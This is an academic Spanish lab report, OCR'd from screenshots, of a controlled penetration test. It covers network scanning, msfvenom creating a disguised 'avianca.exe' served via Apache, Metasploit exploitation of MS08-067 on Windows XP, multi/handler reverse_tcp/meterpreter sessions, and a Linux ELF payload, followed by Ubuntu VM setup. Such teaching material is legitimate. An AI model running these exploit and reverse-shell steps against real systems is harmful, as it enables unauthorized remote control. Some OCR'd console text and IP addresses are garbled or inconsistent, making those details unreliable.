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1. INTRODUCCION

En el presente informe se describe paso a paso el procedimiento realizado en Kali Linux
para identificar direcciones IP, escanear dispositivos en la red, comprobar la conectividad y,
posteriormente, explotar una maquina victima a través de la herramienta Metasploit. El ejercicio
se realiz6 en un entorno controlado con fines académicos, buscando fortalecer los conocimientos

en ciberseguridad y comprender como se desarrollan los ataques para asi poder prevenirlos.



2. OBJETIVOS
2.1 OBJETIVOS GENERAL

Realizar una prueba de penetracion controlada y ética en el sistema y analizar
el proceso de publicacidn, descarga y ejecucion de un archivo ejecutable a través de un
servidor web Apache y su posterior gestion mediante Metasploit, con el fin de
comprender las técnicas de conexién inversa y sus implicaciones en la seguridad

informatica.

2.2 OBJETIVOS ESPECIFICOS
2.2.1 Explicar El Funcionamiento Del Servidor Apache Al Servir Archivos Almacenados
En El Directorio /Var/Www/Html.
2.2.2 Describir El Proceso De Descarga Y Ejecucion De Un Archivo Desde Un Cliente
Windows.
2.2.3 ldentificar EI Rol Del M6dulo Multi/Handler En Metasploit Como Receptor De

Conexiones Inversas.

2.2.4 Analizar La Configuracion De Parametros De Red (Lhost Y Lport) Para El

Establecimiento De La Conexién Entre Atacante Y Victima.

2.2.5 Valuar Las Implicaciones De Seguridad Derivadas De La Ejecucion De Payloads

Como Reverse_Tcp Y Meterpreter En Un Entorno Controlado.



3. IDENTIFICACION DE LA DIRECCION IP EN KALI LINUX

En la primera captura se observa el proceso de obtencion de la direccion IP de la
maquina atacante. El sistema Kali Linux fue configurado con la IP 197.168.2.5 y méascara
de subred 255.255.255.0. Esta informacion es crucial, ya que servira para establecer la

comunicacion con la red y con la maquina victima.

~

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 197.168.2.5 netmask 255.255.255.0 broadcast 197.168.2.255
inett fe80::8860:5ba8:8447:224d prefixlen 64 scopeid 0x20<link>
ether 08:00:27:d1:f8:5d txqueuelen 1000 (Ethernet)
RX packets 49 bytes 8914 (8.7 KiB)
RX errors © dropped © overruns 0 frame ©
TX packets 25 bytes 3214 (3.1 KiB)
TX errors © dropped © overruns @ carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 9x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors © dropped © overruns © frame ©
TX packets 8 bytes 480 (480.0 B)
TX errors © dropped © overruns © carrier @ collisions ©

llustracion 11P EN KALI LINUX

4. ESCANEO DE DISPOSITIVOS EN LA RED
La segunda imagen corresponde al escaneo de la red para identificar las direcciones

IP activas y disponibles. Este procedimiento permite reconocer qué dispositivos estan

conectados y detectar posibles objetivos de explotacion dentro de la misma subred.

Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
IP At MAC Address Count Len MAC Vendor / Hostname
52:54:00:12:35: 60 Unknown vendor
52:54:00:12:35: 60 Unknown vendor

08:00:27:52:bf: 60 PCS Systemtechnik GmbH
08:00:27:12:21: 60 PCS Systemtechnik GmbH

/home/kali
197.168.2.0/24
llustracién 2 ESCANEO DE DISPOSITIVOS




5. VERIFICACION DE CONECTIVIDAD CON LA MAQUINA VICTIMA
En la tercera captura se evidencia el uso del comando ping hacia la direccion

197.168.2.4 (méaquina victima). La respuesta positiva confirma que existe conectividad y

que se puede proceder a ejecutar ataques o pruebas de intrusion.

/home/kali

[y
(o)
(o)

PING 197.168.2.4 (197.
64 bytes from 197.168.
64 bytes from 197.168.
64 bytes from 197.168.

.2.4) 56(84) bytes of data.
: icmp_seg=1 ttl=128 time=0
icmp_seqg=2 ttl=128 time=0
icmp_seqg=3 ttl=128 time=0
icmp_seg=4 ttl=128 time=0
icmp_seqg=5 ttl=128 time=0

64 bytes from 197.168.
64 bytes from 197.168.
2€

— 197.168.2.4 ping statistics —

5 packets transmitted, 5 received, 0% packet loss, time 4073ms
rtt min/avg/max/mdev = 0.695/0.772/0.974/0.102 ms

N NN

llustracion 3 VERIFICACION DE CONECTIVIDAD

6. CREACION DE UN ARCHIVO MALICIOSO CON MSFVENOM

Siguiendo con la configuracion se observa el uso de la herramienta msfvenom, esto
para ejecutar en el sistema de la victima. Este paso demuestra como un atacante puede crear
software malicioso disefiado para establecer control remoto sobre un sistema

comprometido.

Desktop

/home/kali/Desktop

/home/kali/Desktop

llustracion 4 Creacioén de archivo Malicioso



7. VERIFICACION DEL ARCHIVO MALICIOSO
En este paso se listan los archivos dentro del directorio Desktop de Kali Linux

utilizando el comando LS. El resultado confirma que el archivo avianca.exe fue creado

exitosamente y se encuentra listo para ser transferido a la maquina victima.

/home/kali/Desktop

avianca.exe

/home/kali/Desktop

lustracion 5 VERIFICACION DEL ARCHIVO MALICIOSO
8. 10 TRANSFERENCIA DEL ARCHIVO MALICIOSO AL SERVIDOR WEB

En esta captura se observa el uso del comando: cp avianca.exe /var/www/html

Con esta accion, el archivo avianca.exe fue copiado al directorio /var/www/html, el cual es
el directorio raiz del servidor Apache en Kali Linux. De esta manera, cuando la maquina
victima acceda al navegador e ingrese la direccion IP del atacante, podré descargar el

archivo malicioso.

/home/kali/Desktop
avianca.exe /var/www/html

/home/kali/Desktop

Ilustracion 6 TRANSFERENCIA DEL ARCHIVO

9. ENTRAR A LA CARPETA DEL SERVIDOR WEB
Lo que se hizo fue entrar a la carpeta del servidor web y revisar qué archivos estan

alli. El hallazgo maés llamativo es el archivo avianca.exe, porque no corresponde a un

entorno web en Linux y podria tratarse de un archivo malicioso o dejado ahi como prueba.



/home/kali/Desktop
/var/wwi/html

/var/wmi/html
avianca.exe index2.html index.html.save index.nginx-debian.html

/var/wm/html

lustracion 7 ENTRAR A LA CARPETA DEL SERVIDOR WEB

10. LEVANTANDO EL SERVIDOR WEB APACHE?2
En esta captura se esta levantando el servidor web Apache2 para que los archivos

HTML que viste antes (index2.html, index.nginx-debian.html, etc.) puedan ser servidos y

vistos desde un navegador.

Jvar/ v /html

start apache?

Jvar/ v /html

llustracion 8 Levantando el servidor web Apache2

11. PUBLICACION DEL ARCHIVO EN EL SERVIDOR WEB
En este paso se subid el archivo avianca.exe a la siguiente ruta /var/www/html.



A Index of / - Microsoft Internet Explorer

Archiva  Edicidn Wer  Faworikas  Herramienbas  Awuda

Qs - O [x] B (0 O sisaueds 3l ravortos )

Direccidn | @] http:/{197.168.2.5]

Index of /

Name Last modified Size Descrption
AVianCa. EXe 2025-0%-02 1229 72K
mndesx html save 2025-09-01 1731 37
ndex ngmsx-debian bl 2025-05-22 15:19 615
index html 2025-05-29 1523 10K

Apachef2. 4.64 (Debian) Server af 107.165.2.5 Part 80

llustracion 9 PUBLICACION DEL ARCHIVO EN EL SERVIDOR WEB

12. DESCARGA DEL ARCHIVO DESDE WINDOWS
Para la esta paso se ingresa a la ruta http://192.168.2.5/ y se descarga el

ejecutable



E WindowsXP [Corriendo] - Oracle VirtualBox

Archivo Maguina Ver Entrada Dispositivos Ayuda

2l Index of f - Microsoft Internet Explorer

archivo Edicidn Wer Faworitos Herramienktas Anuda

e.ﬂ\trés - O Ej @ @ pBﬂsqueda *Favoritos @ @v b::__%’; _.3

Direccian @ hktp: 197,165, 2.5/

Index of /

Descarga completa

Name ] ey
EY
== Descarga completa
L .
2] Gardad:
indez html sawve ] avianca.exe de 197.165.2.5
- [---------------------------------------------q
indesx -debian html 2 Descargado: 72,0 KE en 1 seq.
L -
indezx2 htrnl 2 Descargar a: CHDocuments and Setkin.. avianca.exe
Tasa de transferencia: 72,0 KBfSeg
Apac}se,-'?. A a4 (Debx’a?s) Semedl [ Cerrar el didlogo al terminar la descarga.
[ Ejecutar J [.t'l'-.brir carpeta ] L Cerrar J

lustracion 10 DESCARGA DEL ARCHIVO DESDE WINDOWS

13. Verificacion de descarga del archivo
Ingreso a Windows xp y se dirige al escritorio alli encontrar el archivo creado

llamado Avianca

UTCH-PRIVIL

=

avianca

lustracién 11 Verificacion de descarga del archivo



14. APERTURA DE METASPLOIT
Para esta configuracion se utiliza el comando MSFCONSOLE y se muestran la apertura

lustracion 12 APERTURA DE METASPLOIT

Siguiendo se utiliz6 el comando SEARCHNETAPI se realiza la busqueda de exploits
disponibles. Se selecciona un exploit adecuado y se listan los requisitos necesarios para

llevar a cabo la explotacion.

msf6 >

Matching Modules

Name

0 exploit/windows/smb/ms03_049_netapi
erName Overflow
1 exploit/windows/smb/ms06_040_netapi
flow
target: (wcscpy) Automatic (NT 4.0, 2000 SPO-SP4, XP SP@-SP1)
target: (wcscpy) Windows NT 4.0 / Windows 2000 SPO-SP4
target: (wcscpy) Windows XP SPO/SP1
target: (stack) Windows XP SP1 English
target: (stack) Windows XP SP1 Italian
_ target: (wcscpy) Windows 2003 SPO
exploit/windows/smb/ms@6_070_wkssvc
Overflow
9 \_ target: Automatic Targetting
10 \_ target: Windows 2000 SP4
11 \_ target: Windows XP SPO/SP1
12 exploit/windows/smb/ms@8 067 netapi

Ilustracion 13 CONFIGURACION DE PARAMETROS
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Aqui debera escribir el comando USER para poner en uso el exploit seleccionado en este

caso el numero 12

msf6 > use 12
No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit( ) > B

lustracion 14 EJECUCION Y ACCESO
15. CONFIGURACION DE EXPLOIT

para este paso para la configuracion a través del comando SET RHOSTS seguido

de la direccion IP de la maquina victima.

STS 197.168.2.4

Ilustracion 15 VERIFICACION DE ARCHIVO EN LA RUTA
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Utilizando el comando SHOW OPCIONS deberas escribir este comando para ver

si todo esta correcto

msf6 exploit ) > show options

Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description

RHOSTS 197.168.2.5 yes The target host(s), see https://docs.metasploit.com/docs/us
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC thread yes Exit technique (Accepted: "', seh, thread, process, none)
LHOST 197.168.2.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:

Id Name

Automatic Targeting

View the full module info with the inf r inf command.

msf6 exploit(

llustracion 16 ACTIVACION DE MODO ESCUCHA
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16. EJECUCION DEL EXPLOIT MS08-067 EN METASPLOIT
En la captura se observa la ejecucion del exploit Windows netapi, Los mensajes

indican el flujo del ataque lo que confirma que la explotacion de la vulnerabilidad ha sido

efectiva.

mst6 exploit > exploit

Started reverse TCP handler on 197.168.2.5:4444

197.168.2.4:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.17/11
replaced with "*' in regular expression

197.168.2.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

2
197.168.2.4:445 - Selected Target: Windows XP SP3 Spanish (NX)
2

197.168.2.4:445 - Attempting to trigger the vulnerability...
Sending stage (177734 bytes) to 197.168.2.4
Meterpreter session 1 opened (197.168.2.5:4444 — 197.168.2.4:1044) at 20

meterpreter > .

llustracion 17 EJECUCION DEL EXPLOIT
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17. BUSQUEDA DEL MODULO MULTI/HANDLER EN METASPLOIT
Accion: en Metasploit se ejecuta search multi/handler Concepto: Multi/handler

como listener, médulo encargado de escuchar conexiones entrantes desde payloads

maliciosos.

ti/handler

Disclosure Date
persi

h_enyv

. For example

llustracion 18 BUSQUEDA DEL MODULO MULTI/HANDLER EN METASPLOIT

18. SELECCION DEL MODULO EXPLOIT/MULTI/HANDLER
Accidn: se carga el mddulo con use exploit/multi/handler. Concepto: Gestor de

conexiones inversas, recibe la conexién de la victima, sin necesidad de explotar

vulnerabilidades directas.
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configure

f6 exploit(

oad options (generic/shell_reverse
Name Current Setting Required
LHOST ves The St on BAdres,
LPORTY L4444 ves The
Exploit target:
iId Name

o wildcard Target

¢ full module info

exploit(

llustracion 19 SELECCION DEL MODULO EXPLOIT/MULTI/HANDLER

19. CONFIGURACION DEL PAYLOAD GENERIC/SHELL_REVERSE_TCP
Acciodn: se selecciona un payload simple de shell inversa. Concepto: Reverse TCP

el sistema victima inicia la conexion hacia el atacante, evitando bloqueos de firewall.

msf6 exploit( ) > set payload windows/meterpreter/reverse_tcp

payload = windows/meterpreter/reverse_tcp
msf6 exploit( ) > |

llustracion 20 CONFIGURACION DEL PAYLOAD GENERIC/SHELL_REVERSE_TCP

20. CONFIGURACION DE PARAMETROS DE RED (LHOST Y LPORT)
Accion: se establece LHOST = 192.168.2.5 y LPORT = 4678. Concepto:

Parametros de red — definen la direccion y puerto en los que el atacante recibira la

conexion de la victima.
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> set LHOST 197.168.2.5

> set LPORT 4678

B
L
ms

) > show options

Payload options (windows/meterpreter/reverse_tcp):

EXITFUNC - yes it te | : "', seh, thread, process, none)
LHOST 97.168.2.5 The 1 n address (an interface may be specified)
LPORT 4678 yes e listen port
Exploit target:
Id Name

@ Wildcard Target

View the full module info with the

msf6 exploit( ) > |

Ilustracion 21 CONFIGURACION DE PARAMETROS DE RED (LHOST Y LPORT)

21. CAMBIO A WINDOWS/METERPRETER/REVERSE_TCP
Accion: se elige un payload més avanzado para Windows. Concepto: Meterpreter

herramienta modular que otorga control completo sobre el sistema comprometido.

} > exploit

rerse TCP handler on 197.168.2.5:46

22. EJECUCION DE ARCHIVO AVIANCA.EXE
Se ejecuta el archivo con el para que corra el exploit que se ejecuto en el paso

anterior
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| Abrir archivo - Advertencia de seguridad

Mo sze puede comprobar el fabricante. ;Esta seguro de que
dezea ejecutar este software?

Mombre:  avianca.exe 4
Fabricante: Fabncante desconocido

Tipo:  Aplicacian
De: CriDacuments and SetkingsiING-1AYIERNEscritorio

Ejecutar ][ Cancelar

Freguntar siempre antes de abrir este archivo

fabricante. Sdlo ejecute zoftware de loz fabricantes en log que
confia. ACamo puedo decidir gué software debo ejecutar’y

@ E ste archivo no tiene ninguna firma digital «walida gue compruebe su

Iustracion 22 EJECUCION DE ARCHIVO AVIANCA.EXE

23. ARRANQUE DE EXPLOIT
Aqui se evidencia que se arranca el exploit una vez se ejecuto el archivo

) » exploit
TCP handler on 197.16
77734 bytes) to 197

llustracion 23 ARRANQUE DE EXPLOIT
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24. INSTALACION DE MAQUINAS VIRTUALES UBUNTU
Antes de comenzar con la instalacion de las maquinas el paso a seguir es descargarlas

para este caso vamos a utilizar Ubuntu, estando en el navegador buscamos la pagina oficial

de Ubuntu le damos en descargar.

£ Descargas

Descargar Ubuntu Desktop

Ubuntu 24.04.2 LTS

Arquitectura Intel © AMD de 64 bits Descacgar

lustracion 24 BUSCAR MAQUINA UBUNTU

25. DESCARGA DE UBUNTU
Una ves le demos en descargar nos muestra el siguiente apartado donde los hace una

serie de pregunta en este caso cual es el uso que le vamos a dar y para este caso el uso es

educativo selecionamos y comiensa la descarga.

e e PRLY. Mistorial de descargas recientes (%) .
8 Descargas Servidor  Centro  Nube Vot 24,042 -deskiop- amdedin

Gracias por descargar Ubuntu Suscribetean © - |
DeSktop 24.04.2 LTS Recibe las Gltimas nolicas y )',‘.l.»\'.u\ru;— »uw \,\.._.'W.L,”: e w wvns oCd
La descarga deberia comenzar sutomdbicamente. S no ¢35 354 ' * Commeo electrdno
{CAmo planeas etilzar Ubuntu Desitop?
Trabaias Edutacido U0 personal

llustracion 25 DESCARGA DE UBUNTU
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26. VERIFICACION DE DESCARGA
Para este paso se verifica que si se descargo correctamente la maquina virtual en

este caso ubuntu.

« v &+ Descargas » v G Buscar en Descargas ¥
Organizar Mueva carpeta =~ 1 @
Maombre Fecha de mi
B Escritorio * El mes pasado

< Descargas

| D ubuntu-24,04,2-desktop-amded 470872025 11

~ al principio de este ano
= Documentos

Ig 28/07/2025 ]

P Imagenes ~ hace mucho tiempo
o) Musica FL_20_7_1_Res_templates 14/07/2020 ]
i3 Videos Metasploitable2-Linux 20/05/2012

Certificados

i

Mombre: | ubuntu-24.04.2-desktop-amded v| 150 Images(*.iso *.150) e
Cancelar

llustracion 26 VERIFICACION DE DESCARGA

27. INSTALACION DE LA MAQUINA UBUNTU
Durante este paso se procede con la instalacion de la maquina virtual Ubuntu, aqui

se le da el nombre a la maquina y se selecciona la iso que se descargo en el paso anterior

una vez hecho esto seleccionamos omitir instalacion seguido de esto le damos en terminar.
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V5 Crear maquina virtual = a >
.~ Mombre y sistema pperativo
Mombre: ubuntu
Carpeta: ChUsershIMNG JAVIER VirtualBox Vs -
} % Imagen [S0: D ChUsershIMNG JAVIER\Downloads\ubuntu-24.04.2-desktop-amdéd.iso 7o
s 4 &r‘:-' Edicion

'y
‘nﬁd-{i Ilt’” Tipoe: Linux = mf

e d Subtype: Ubuntu
Version:  Ubuntu (64-bit) e
Omitir instalacién desatendida

> Instalacian desatendida
> Hardware

> Disco duro

Ayuda Anterior | Terminar | Cancelar

lustracion 27 SELECION DE LA ISO DE UBUNTU

28. PERMITIR LA INSTALACION DE MAQUINA UBUNTU
Siguiendo la instalacién le damos enter en la primera opcién que nos permite

ejecutar el sistema operativo Ubuntu.

[~

GHNU GRUB wersion 2£.12

Try or Install Ubuntu

Ubuntu (safe graphics)
Test memory

Use the T and 1 keys to select which entry is highlighted.
Press enter to boot the selected DS, "e’ to edit the commands

before booting or ‘¢’ for a command-line.
The highlighted entry will be executed awutomatically in 12=.

D (0 m® A5 =0 iR iR 2 [#] CTRL DERECHA

lustracion 28 PERMITIR LA INSTALACION DE MAQUINA UBUNTU



29. SELECCION DE IDIOMA EN LA INSTALACION DE UBUNTU

Aqui se configura el idioma en el que se instalara y usara Ubuntu. Elegir
correctamente el idioma es importante porque afecta el mena, mensajes del sistemay la

configuracion inicial.

Le damos la bienvenida a Ubuntu

Elija su idioma:

Dansk
Deuksch
Eesti
] Ubuntu Englis
Espano
Esperanto

Friskara

[ ] Siguiente

llustracion 29 SELECCION DE IDIOMA EN LA INSTALACION DE UBUNTU
30. Configuracion de red en VirtualBox (Ubuntu)

La configuracion de red en modo NAT garantiza que la maquina virtual tenga
acceso a Internet a traves del host, pero sin ser visible directamente desde la red externa.
Esto proporciona un nivel de aislamiento y seguridad apropiado para entornos de practica

académica en ciberseguridad.

20
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Accesibilidad en Ubuntu

Personalice Ubuntu segn sus necesidades antes de la puesta en
marcha. Puede cambiarlo mas tarde en Configuracion del sistema.

@ Vision >
i ¢ Audicién 5
= Mecanografia >
() Sedalary pulsar >
Q. Ampliacién >

Alras [ ] Siguiente

lHustracion 30 CONFIGURACION DE RED EN VIRTUALBOX (UBUNTU)
31. CONFIGURACION DEL TECLADO ESPANOL, LATINOAMERICAN

a definicion de la disposicion del teclado garantiza que, al escribir, los caracteres
correspondan a las teclas fisicas del dispositivo. La seleccion de espafiol latinoamericano

asegura una experiencia coherente en la escritura y evita errores durante el uso del sistema.
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Elija la disposicion del teclado Detectar
Eslovaco
Esloveno
Espanol
Espanol (latinoamericano)
Esperanto

Seleccione la variante del teclado: Espafiol (latinoamerica... -~
Escriba aqui para probar el teclado

Atras [ Siguiente

lustracién 31 Opciones de accesibilidad en Ubuntu
32. Conexiodn a Internet durante la instalacién de Ubuntu

Se opta por la opcidn de utilizar conexién por cable para asegurar que el instalador
pueda descargar actualizaciones y controladores necesarios en tiempo real. Esto mejora la
compatibilidad del sistema y garantiza que, al finalizar la instalacion, Ubuntu esté

actualizado y listo para usarse.
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Conéctese a Internet

Una conexion a Internet mejorara su instalacién con la comprobacién
de la compatibilidad y los paquetes de software adicionales.

© Uutilizar conexién por cable

No se han detect ssitivos Wi-F

() No quiero conectarme a internet ahora mismo

Atras ® Siguiente

llustracién 32 Conexion a Internet durante la instalacién de Ubuntu

33. ELECCION DE ACCION CON UBUNTU (INSTALAR O PROBAR)

En esta pantalla se selecciona la opcién Instalar Ubuntu, lo cual inicia el proceso de

instalacion en el disco.
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;Qué quiere hacer con Ubuntu?

Instalar Ubuntu
Instalar Ubuntu junto con (o en lugar de) su sistema
operativo actual. No deberia tardar mucho.

Probar Ubuntu
Puede probar Ubuntu sin efectuar ningdn cambio en el
equipo.

Atras [ ] Siguiente

lustracion 33 1. Eleccion de accion con Ubuntu (Instalar o Probar)

34. Seleccidon de aplicaciones a instalar

Se elige la seleccién predeterminada, que incluye Gnicamente lo esencial

(navegador web y utilidades basicas).
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;(Qué aplicaciones le gustaria instalar para
comenzar?

(o] Seleccién predeterminada
Solo lo esencial, el navegader web y las utilidades
bésicas.

Seleccién ampliada
Una seleccion de herramientas de oficina, utilidades y
navegador web compatibles sin conexién.

Atras [ ] Siguiente

lustracion 34 Seleccion de aplicaciones a instalar
35. INSTALACION DE PROGRAMAS PRIVATIVOS RECOMENDADOS

Se habilitan las casillas para instalar software de terceros para graficos y Wi-Fiy
para afiadir compatibilidad con formatos multimedia. Esto asegura un mejor rendimiento
gréfico y la posibilidad de reproducir archivos de audio y video en diversos formatos,

aumentando la funcionalidad del sistema después de la instalacion.
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;Quiere instalar los programas privativos
recomendados?

Ubuntu no incluye programas privativos de forma predeterminada.
La instalacién de programas adicionales puede mejorar el
desempeno del equipo.

Atras

Instalar software de terceros para graficosy
dispositivos de Wi-Fi

Incluidos, entre otros, los controladores NVIDIA y similares

Descargar e instalar compatibilidad para méas
formatos multimedia
Incluidos, entre otros, MP3, MP4, MOV y similares

[ ] Siguiente

lHustracion 35 Instalacion de programas privativos recomendados

En este paso pregunta de como quieres que se instales el ubuntu

(Como le gustaria instalar Ubuntu?

Instalacion interactiva
Para usuarios que quieran ser guiados paso a paso
durante la instalacidn.

Akras

Instalacion automatizada

Para usuarios avanzados que tienen un archivo
autoinstall.yaml para configuraciones del siskema
consistentes y repetibles.

® Siguiente
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Aqui creamos el usuario y la contrasefia para la maquina Ubuntu

Atras

Cree su cuenta

Sunombre

ubuntu <

El nombre del equipo

ubuntu-VirtualBox (]

Elija un nombre de usuario

ubuntu (]

Elija una contrasena

123456 @ Ocultar Contrasefa débil

Confirme su conktrasefia

123456 ] (]

Solicitar mi contrasefia para acceder

(] Utilizar Active Directory

[ ] Siguiente
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Esto nos muestra la ubicacion geografica

Ubicacion Huso horario

Bogotéa (Bogota D.C., Colombia) America/Bogota

=
#
|

R

y

: QJ

po—

a
|

=

Atras @ Siguiente

Ingresamos el usuario

O ubuntu
—

;No esta en la liska?




Ingreso de la contrasefia

O

)

ubuntu

29
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Le damos la bienvenida a Ubuntu 24.04.3 LTS

Complete su configuracién con opciones adicionales y lo
tendremos listo vy Funcionando en poco tiempo

Ver novedades de la version

36. DARLE ACCESO A RED A LA MAQUINA VIRTUAL UBUNTU

Lo que se hizo aqui fue darle acceso a red a la maquina virtual Ubuntu, asegurando
que pueda comunicarse hacia afuera (Internet y con el host), condicion indispensable para

continuar con las pruebas de explotacion y descargas posteriores.
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{3 ubuntu - Settings — O *

Basic M Search settings £
E General Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Sistema b E B E i
Hakdiicr adoptader de red
@ Pantalla
Conectado a:  Red NAT ~

Almacenamiento MNombre:  Semestre9-2025-1 e
(D] Audio Tipo de edaptador:  Intel PROST000 MT Desktop (82540EM)

Meode premiscuo: Denegar ~
P e --

Direccidn MAC: (8G02787C6EA &

@ Puertos serie B Cable conectado
ﬁ Use
I___I Carpetas compartidas Fuertos serie

Puerto 1 Puerto 2 Puerto 3 Puerto 4
Ifl Interfaz de usuario

Enable Serici Port

Aceptar Cancelar Ayuda

llustracion 36 DARLE ACCESO A RED A LA MAQUINA VIRTUAL UBUNTU

37. APERTURA DE METASPLOIT EN UBUTU
Las imagenes siguientes muestran la apertura de la consola de Metasploit

Framework. Desde alli se realiza la busqueda de exploits disponibles.



ch multi/handler

ching Modules

[= L% R = ¥

0o~

=

Disclosure Date

multi/handler

windows/mssql/mssgl_Llin
ploit/windows /b1 r/persits_;
ploit/linux/loc:

with a module by name or index. For example i

lustracion 37 APERTURA DE METASPLOIT EN UBUTU
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manual

configured payload generic/shell_reverse_tcp

38. CONFIGURACION DE PARAMETROS DE RED EN UBUNTU

Accidn: se establece LHOST = 192.168.2.5 y LPORT = 4678. Concepto:

Parametros de red — definen la direccion y puerto en los que el atacante recibira la

conexién de la victima.
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msf6 exploit( ) > set LHOST 197.168.2.5
LHOST = 197.168.2.5

msf6 exploit( ) > set LPORT 4678

LPORT = 4678

msf6 exploit( ) > options

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

LHOST 197.168.2.5 yes The listen address (an interface may be specified)
LPORT 4678 yes The listen port
Exploit target:

Id Name

Iustracion 38 CONFIGURACION DE PARAMETROS DE RED EN UBUNTU

39. INGRESO AL MODO ROOT

15 sudo su
[sudo] contrasena para ubuntu:
root@ubuntu-VirtualBox: /home/ubuntu# cd /home/ubuntu/Escritorio
root@ubuntu-VirtualBox: /home/ubuntu/Escritorio# 1s
lablinux.elf

Iustracion 39 INGRESO AL MODO ROOT

root@ubuntu-VirtualBox: /home/ubuntu/Escritorio# chmod +x lablinux.elf

root@ubuntu-VirtualBox: /home/ubuntu/Escritorio# ./lablinux.elf
Violacion de segmento ( core' generado)




40. DESCARGA DE ARCHIVO PARA UBUNTU

34

Para este paso se descarg0 el archivo Accion: el usuario accede a http://192.168.2.5/

y descarga el ejecutable. Concepto: Exposicién y transferencia de archivos, simula un

ataque de ingenieria social en el cual la victima descarga un archivo aparentemente

legitimo.
¢« c O R Noseguro 197.168.2.5 %oy
lablinux.elf
Index Of / Completada — 207 bytes
Name Last modified Size Description Mostrar todas las descargas
avianca.exe 2025-09-02 19:29 72K
index.html.save 2025-09-0117:31 37
index.nginx-debian.html 2025-05-29 15:19 615
index2.html 2025-05-29 15:23 10K
@ lablinux.elf 2025-09-03 09:32 207

Apache/2.4.64 (Debian) Server at 197.168.2.5 Port 80

Ilustracion 40 DESCARGA DE ARCHIVO PARA UBUNTU
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41. CONCLUSIONES
El ejercicio permitiéo comprender como un archivo aparentemente inofensivo puede

ser utilizado para establecer acceso remoto no autorizado podemos decir que la publicacion
de archivos ejecutables en servidores accesibles publicamente representa un alto riesgo de
seguridad debido herramientas como Metasploit demuestran la facilidad con la que un
atacante puede configurar listeners y recibir conexiones inversas si la victima ejecuta el

archivo malicioso.

Este laboratorio refuerza la importancia de la concienciacién del usuario y de
implementar controles de seguridad perimetral y de red para evitar la ejecucion de software

no autorizado.



